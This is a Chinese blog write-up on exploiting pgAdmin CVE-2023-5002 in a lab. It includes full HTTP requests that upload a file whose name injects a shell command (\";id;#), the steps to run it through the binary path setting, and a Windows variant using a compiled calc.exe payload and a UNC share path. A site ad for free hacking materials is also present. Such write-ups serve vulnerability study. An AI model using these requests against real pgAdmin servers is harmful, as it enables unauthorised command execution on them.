pgAdmin后台命令执行漏洞(CVE-2023-5002)

2024-06-30 268 0

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图​我们可以看到针对于漏洞 CVE-2022-4223,官方做了一定的修复措施。

web\pgadmin\misc__init__.py#validate_binary_path

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图1​首先是添加了 @login_required​ 进行权限校验。在 Flask 框架中,@login_required​ 装饰器通常与 Flask-Login 扩展一起使用。Flask-Login 提供了简单而强大的用户身份验证功能,其中包括 @login_required​ 装饰器用于保护需要登录用户才能访问的视图。当在一个函数、方法或类上应用 @login_required​ 装饰器时,它会检查当前用户是否已经登录。如果用户未登录,则会将其重定向到登录页面或返回相应的错误信息,而不允许访问被装饰的代码块。

添加了权限校验之后,这个漏洞就从未授权的前台漏洞,转换为需要登录的后台漏洞了。

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图2​同时对传入的路径进行校验,通过 os.path.exists​ 来判断是否存在。

linux

我们发现会对传入的路径进行校验的,那么在linux 下,我们可以通过在服务器上上传一个包含恶意文件名的文件,来进行绕过。

可以从 docker hub 上搜索 docker 资源

https://hub.docker.com/search?q=pgadmin

docker pull dpage/pgadmin4:7.6
docker run -e '[email protected]' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80 --name pgadmin -d  docker.io/dpage/pgadmin4:7.6

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图3pgAdmin后台命令执行漏洞(CVE-2023-5002)插图4​登录后台工具->存储管理器pgAdmin后台命令执行漏洞(CVE-2023-5002)插图5​上传一个包含恶意文件名的文件

POST /file_manager/filemanager/3395111/ HTTP/1.1
Host: 127.0.0.1:5050
Content-Length: 491
X-pgA-CSRFToken: ImE3NDYzOGJhOWYxNDIzY2QzZDUwNTI3MWMzOGU4NGNhMmNhNzkzYTQi.Zi8ctA._DuZsbw2SE05kwuVkqgG7Y-KsjE
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryihDQGI2B09k9alLf
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=2397843f-fbe6-4481-947e-e30f73c6a0ee!GPxXiZuTJzjVn+sk6vhlLNAmjhQr6xIY0yumFSIGBAQ=; PGADMIN_LANGUAGE=zh
Connection: close

------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="newfile"; filename="\";id;#"
Content-Type: text/plain

123
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="mode"

add
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="currentpath"

/
------WebKitFormBoundaryihDQGI2B09k9alLf
Content-Disposition: form-data; name="storage_folder"

my_storage
------WebKitFormBoundaryihDQGI2B09k9alLf--

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图6​同时可以得到在文件在服务器上的路径

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图7​打开文件->配置

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图8​路径->二进制路径->填入恶意文件的位置pgAdmin后台命令执行漏洞(CVE-2023-5002)插图9​点击运行pgAdmin后台命令执行漏洞(CVE-2023-5002)插图10pgAdmin后台命令执行漏洞(CVE-2023-5002)插图11​windows

下载软件并进行安装

https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v6.21/windows/pgadmin4-6.21-x64.exe

需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0'

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图12​因为windows 无法利用拼接来执行命令,所以还是要想办法成功加载文件才行。

import os
binary_path = "\\\\192.168.222.128\\TMP\\"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
full_path = os.path.abspath(
os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
)
print(full_path)
print(os.path.exists(full_path))

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图13​windows 不能再利用共享资源来实现,所以也构造一个exe 上传并执行。

【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

编译恶意的exe文件并放到上传

  • pip install pyinstaller

  • type execute_calc.py

    import subprocess

    def execute_calc():
    subprocess.call("calc.exe")

    if __name__ == "__main__":
    execute_calc()
  • pyinstaller --onefile execute_calc.py

和linux启动有所不同

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图14

Tools->import

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图15pgAdmin后台命令执行漏洞(CVE-2023-5002)插图16pgAdmin后台命令执行漏洞(CVE-2023-5002)插图17​成功将恶意文件上传到服务器上。

同时构造请求数据包

POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.222.145:5050
X-pgA-CSRFToken: IjU4MzQ0OTM2Yzc3YzM5ZmE5Yjg0MjRhODVlNzkzZjM5MTViZDBmNzki.Zi9GcQ.pGwCjLqPq3fNzohIRNerpipIRK8
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://192.168.222.145:5050
Referer: http://192.168.222.145:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=e6f521fc-e9f4-4c58-bf0a-e9abafb4ceb5!JG7fBzRT4FkugKb175t9vWdZpKmAtnbo0d/oPzcAbFI=; PGADMIN_LANGUAGE=en
Connection: close
Content-Type: application/json
Content-Length: 39

{"utility_path":"C:\\Users\\whippet\\"}

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图18​可能是因为本地测试的原因,后来尝试的时候发现,本地去调用共享文件时,可以接收到请求,但是很快就断开连接,所以最后的结果是 False。

pgAdmin后台命令执行漏洞(CVE-2023-5002)插图19pgAdmin后台命令执行漏洞(CVE-2023-5002)插图20​所以环境为windwos 时可以利用共享资源来绕过 os.path.exists()的检测。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

苹果试图保护你的隐私,OpenAI可能做不到
Shuffle:一款完全自动化的安全栈增强平台
如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞

发布评论